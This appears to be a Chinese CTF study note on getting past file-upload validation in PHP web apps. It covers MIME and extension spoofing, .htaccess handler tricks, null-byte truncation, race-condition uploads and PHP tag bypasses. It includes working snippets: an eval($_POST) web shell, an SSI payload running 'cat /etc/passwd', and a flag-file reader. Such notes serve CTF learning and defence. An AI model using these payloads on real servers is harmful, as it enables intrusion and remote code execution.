• CTF 文件上传


    两种校验方式

    • 客户端校验(javascript校验)
    • 服务端校验

    客户端校验

    绕过方法

    • 抓包改包
    • 禁用JS

    禁用JS

    • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
    • 火狐插件-yescript2
    • 老版本可以使用WebDeveloper

    抓包改包

    用bp抓包后直接改后缀名

    服务端校验

    MIME类型检测

    MIME类型在html文件中使用content-type属性表示

    • php举例:
    if($_FILES["upfile"]["type"]!="image/gif"){
        echo "只允许上传图片";
        exit;
    }
    
    • 常见文件名对应的MIME类型

      • 扩展名:gif MIME类型:image/gif
      • 扩展名:png MIME类型:image/png
      • 扩展名:jpg MIME类型:image/jpg
      • 扩展名:js MIME类型:text/javascript
      • 扩展名:htm MIME类型:text/html
      • 扩展名:html MIME类型:text/html
    • 绕过方法

      • 抓包改content-type字段
      • 改文件名后上传抓包后再改回文件名
      • 上传正常文件改文件内容
      • 。。。

    后缀名黑名单校验

    • 绕过方法

      • 大小写绕过,例如Php、PhP
      • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps
      • 配合Apache的.htaccess文件上传解析
        该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL
      <FilesMatch "xxx.jpg">
      SetHandler application/x-httpd-php
      </FilesMacth>
      

      不能写<?时使用伪协议

      AddType application/x-httpd-php .wuwu
      php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
      
      name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
      type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
      if(type==jpg)
      SaveFileToPath(UploadPath.name,name)
      

      在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

      • 超长文件名截断上传(windows 258byte | linux 4096byte)
        使用./或.
      • shtml
        当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
        <!--#exec cmd="cat /etc/passwd"-->

    后缀名白名单校验

    • 配合Apache的解析缺陷
      Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

    内容头校验

    • 绕过方法
      在恶意脚本前加上允许上传文件的头标识

      GIF89a
      <?php phpinfo(); ?>
      

    竞争上传

    • 情景
      文件上传后,检测是否合法,不合法就删除
    • 利用方式
      在删除前访问到上传的文件
      <?php
      $file = 'web.php';
      $shell = '<?php eval($_POST["key"])?>';
      file_put_contents($file,$shell);
      ?>
      
      用bp同时上传和访问
    • 例子
      https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

    php崩溃导致tmp文件保留

    当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

    过滤<?php

    • js标签绕过,需要php小于7.0
    <script language="PHP">
    $fh=fopen("../flag.".strtolower("PHP"),'r');
    echo fread($fh,filesize("../flag.".strtolower("PHP")));
    fclose($fh);
    </script>
    
    • PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持
  • 相关阅读:
    实用SQL命令收集
    ZedGraph在Asp.net中的应用
    怎样制作一张万能的Win XP安装光盘
    【转】poj 1823 hotel 线段树【Good】
    【转】unique()函数
    POJ1389Area of Simple Polygons
    【转】poj 1823
    【转】POJ 1177 (线段树+离散化+扫描线) 详解
    【转】POJ各题算法分类和题目推荐
    【转】sort()函数定义在头文件<algorithm>中,它把容器中的数据重新排序成非递减序列
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/10989689.html
Copyright © 2020-2023  润新知